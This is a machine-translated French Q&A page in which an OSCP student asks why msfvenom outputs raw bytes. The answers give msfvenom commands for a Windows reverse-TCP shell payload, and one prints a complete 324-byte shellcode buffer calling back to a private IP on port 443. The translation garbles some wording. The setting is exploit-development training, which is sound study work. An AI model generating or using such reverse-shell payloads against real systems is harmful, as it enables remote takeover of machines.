web-dev-qa-db-fra.com

Msfvenom ne génère pas correctement la sortie de coquille brute

Je fais la section Exploitation de débordement de la mémoire tampon Windows du cours OSCP et l'auteur utilise une combinaison de msfpayload et msfencode pour générer un windows/Shell_reverse_tcp charge utile codée avec Shikata Ga Nai. C'est la commande qu'il utilise:

msfpayload windows/Shell_reverse_tcp LHOST=192.168.0.2 LPORT=443 R | msfencode -b '\x00\x0a\x0d' -e x86/shikata_ga_nai

Le terminal affiche la sortie codée codée suivante:

x86/shikata_ga_nai succeeded with size 351 (iteration=1)
buf = 
"\xda\xc1\xba\x9d\x4a\x66\xd4\xd9\x74\x24\xf4\x5b\x33\xc9" +
"\xb1\x52\x83\xeb\xfc\x31\x53\x13\x03\xce\x59\x84\x21\x0c" +
"\xb5\xca\xca\xec\x46\xab\x43\x09\x77\xeb\x30\x5a\x28\xdb" +
…………
…………
"\x76"

Je peux ensuite copier le coquillage généré sur mon Python script et continuer avec le processus d'exploitation d'une application.

Je sais que les deux msfpayload et msfencodeare déprécis et MSFvenom doit être utilisé à la place. C'est la commande que j'utilise pour obtenir le même résultat que indiqué ci-dessus.

msfvenom -p windows/Shell_reverse_tcp LHOST=192.168.0.2 LPORT=443 -e x86/shikata_ga_nai -b '\x00\x0a\x0d' -f raw

C'est la sortie que j'obtiens dans le terminal:

���t$����9�X3ɱR1P ��� ���`� �� �� ��>pwZ�WdV��E�Y�V��L��ή�( �!T��� ] ^��~����.����cPN�`] bR)����0� !H̥�?$�g8����7uî����QfΡd�e��J�W�hm3m 4��-&B��-o��l� ��ʗ7ig_�n�Jf�wu�)�!�A J���� �4p��� ���¬���7G¬��0¬A�B¬D
……
�� �N&�

Comme vous pouvez le voir, je ne reçois pas la sortie de coquillage réelle. Qu'est-ce que je fais mal? Je voudrais obtenir MSfvenom pour émettre le coquillage que je peux copier sur mon Python script.

2
Alex

Vous utilisez un mauvais interrupteur. Cela devrait travailler, essayé et testé pendant la formation de l'OCSP:

root@kali:~# msfvenom -p windows/Shell_reverse_tcp LHOST=192.168.12.51 LPORT=443 -f c
No platform was selected, choosing Msf::Module::Platform::Windows from the payload
No Arch selected, selecting Arch: x86 from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 324 bytes
unsigned char buf[] = 
"\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50\x30"
"\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff"
"\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf2\x52"
"\x57\x8b\x52\x10\x8b\x4a\x3c\x8b\x4c\x11\x78\xe3\x48\x01\xd1"
"\x51\x8b\x59\x20\x01\xd3\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b"
"\x01\xd6\x31\xff\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf6\x03"
"\x7d\xf8\x3b\x7d\x24\x75\xe4\x58\x8b\x58\x24\x01\xd3\x66\x8b"
"\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24"
"\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f\x5f\x5a\x8b\x12\xeb"
"\x8d\x5d\x68\x33\x32\x00\x00\x68\x77\x73\x32\x5f\x54\x68\x4c"
"\x77\x26\x07\xff\xd5\xb8\x90\x01\x00\x00\x29\xc4\x54\x50\x68"
"\x29\x80\x6b\x00\xff\xd5\x50\x50\x50\x50\x40\x50\x40\x50\x68"
"\xea\x0f\xdf\xe0\xff\xd5\x97\x6a\x05\x68\xc0\xa8\x0c\x33\x68"
"\x02\x00\x01\xbb\x89\xe6\x6a\x10\x56\x57\x68\x99\xa5\x74\x61"
"\xff\xd5\x85\xc0\x74\x0c\xff\x4e\x08\x75\xec\x68\xf0\xb5\xa2"
"\x56\xff\xd5\x68\x63\x6d\x64\x00\x89\xe3\x57\x57\x57\x31\xf6"
"\x6a\x12\x59\x56\xe2\xfd\x66\xc7\x44\x24\x3c\x01\x01\x8d\x44"
"\x24\x10\xc6\x00\x44\x54\x50\x56\x56\x56\x46\x56\x4e\x56\x56"
"\x53\x56\x68\x79\xcc\x3f\x86\xff\xd5\x89\xe0\x4e\x56\x46\xff"
"\x30\x68\x08\x87\x1d\x60\xff\xd5\xbb\xf0\xb5\xa2\x56\x68\xa6"
"\x95\xbd\x9d\xff\xd5\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb"
"\x47\x13\x72\x6f\x6a\x00\x53\xff\xd5";
root@kali:~# 
6
Zamoysky

Vous semblez manquer un drapeau "-i". Ce drapeau indique au codeur combien de fois il est censé fonctionner. Je ne sais pas si cela est requis ou la source de votre problème, mais cela pourrait être. Aussi: j'aime toujours la sortie de sortie de sortie dans la py avec "-f py" et à un fichier afin que je puisse supprimer "buf + =" avec Rechercher et remplacer. De plus, j'aime ajouter un "-A (x86 ou x64)" et un "-platform (Windows)" "", juste à cause des chances étranges que quelque chose ne va pas mal sans cesse.

0
jaketheearthcake